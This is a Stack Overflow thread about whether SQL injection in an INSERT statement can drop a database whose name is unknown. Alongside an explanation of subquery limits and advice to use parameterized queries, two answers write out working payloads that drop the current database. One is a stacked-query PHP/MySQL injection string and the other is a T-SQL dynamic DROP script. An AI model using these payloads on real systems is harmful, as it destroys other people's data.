Using Nested SQL Sub-queries in SQL Injection

Question

This question just came into my mind and wasn't able to find this anywhere so thought this would be the best place to ask. This is just for education purpose. I use proper sanitation and haven't provided DROP permission for my real database.

Let's assume a database with all permissions and a simple insert query with three values

INSERT INTO test(a,b,c) VALUES('$a','$b','$c');

The above query is vulnerable to sql injection.

Let's assume the user input to be

a',(select DATABASE()),'a')--
begone2
begone3

The resulting query would be this:

INSERT INTO test(a,b,c) VALUES('a',(select DATABASE()),'a')-- ','begone2','begone3')

This above query would execute and insert the database name into the table but my question is Will a attacker will able to drop the database without actually knowing the database name?, with a query like this:

INSERT INTO test(a,b,c) VALUES
('a',(DROP DATABASE (select DATABASE())),'a')-- ','begone2','begone3')

I tried running the above query and it throws a error. What's wrong with this query?

Yes, for example: INSERT INTO tab VALUES (1,2,3); DROP DATABASE ...; --... Malicious user could do it with 2 steps (insert database name and read it) or by using dynamic SQL. So the correct answer is: use parametrized queries. — Lukasz Szozda
– Lukasz Szozda, Commented Aug 26, 2018 at 15:29
@LukaszSzozda I already use prepared queries but here I am just taking an example, anyway to run a drop query wouldn't the attacker need a database name(in case error reporting is turned off)? — Hackinet
– Hackinet, Commented Aug 26, 2018 at 19:02

Bill Karwin · Accepted Answer · 2018-08-26 16:35:40Z

What's wrong with this query?

INSERT INTO test(a,b,c) VALUES
('a',(DROP DATABASE (select DATABASE())),'a')-- ','begone2','begone3')

There are two problems with this query.

You can't put DROP DATABASE into a subquery. A subquery must be a SELECT statement and have a result set (in the example you show, it must be a result set of one column, one row).

For what it's worth, you wouldn't be allowed to use INSERT/UPDATE/DELETE in a subquery either.
DROP DATABASE doesn't accept the result of a subquery as its argument. The syntax DROP DATABASE accepts a database identifier (name), and you can't DROP DATABASE ''. The result of a subquery is always data values (like strings and numbers), not identifiers.

Compare with this query:
```
SELECT a, b, c, (SELECT x FROM table2)
FROM table1
```
The subquery returns the value of column x. If the value of x is the string value 'd', this does NOT cause the outer query to return the value of column identified as table1.d. It returns a literal string 'd'.

In general, SQL doesn't allow you to use data values as identifiers. Database names, table names, and column names must be written explicitly in the query before the query is parsed. To make an identifier dynamic, you'd have to run two queries, that is, you'd use the result of the first query as you create a second SQL statement.

Salman Arshad · Accepted Answer · 2020-10-11 10:36:35Z

3

Will a attacker will able to drop the database without actually knowing the database name?

Yes. Assuming MySQL, see following PHP code:

$a = "','',''); SET @sql = CONCAT('DROP DATABASE ', DATABASE()); PREPARE stmt FROM @sql; EXECUTE stmt; -- ";
$b = null;
$c = null;
$sql = "INSERT INTO test(a, b, c) VALUES('$a','$b','$c');";
echo $sql;

It will create following MySQL statement:

INSERT INTO test(a, b, c) VALUES('','',''); SET @sql = CONCAT('DROP DATABASE ', DATABASE()); PREPARE stmt FROM @sql; EXECUTE stmt; -- ','','');

Attempting to execute the above SQL will drop the current database.

edited Oct 11, 2020 at 10:36

answered Aug 26, 2018 at 16:38

Salman Arshad

274k85 gold badges450 silver badges540 bronze badges

Comments

Ilyes · Accepted Answer · 2018-08-26 16:33:17Z

2

my question is Will a attacker will able to drop the database without actually knowing the database name?

The quick answer for that is Yes, and that's why we should use parameters instead of concatinating strings, and try as we can to avoid dynamic SQL.

The malicious user can get the database name using DB_Name() function as:

SELECT DB_NAME();

And here is an example to drop the database without knowing her name:

DECLARE @SQL NVARCHAR(MAX);

SET @SQL = (SELECT N'USE master; 
ALTER DATABASE '+ DB_NAME() +' SET OFFLINE WITH ROLLBACK IMMEDIATE;
DROP DATABASE ' + DB_NAME() + ';');

EXECUTE sp_executesql @SQL;

edited Aug 26, 2018 at 16:33

answered Aug 26, 2018 at 16:13

Ilyes

15k5 gold badges31 silver badges61 bronze badges

Collectives™ on Stack Overflow

Using Nested SQL Sub-queries in SQL Injection

3 Answers 3

Comments

Comments

Comments

Your Answer

Hot Network Questions

Collectives™ on Stack Overflow

3 Answers 3

Comments

Comments

Comments

Your Answer

Sign up or log in

Post as a guest

Related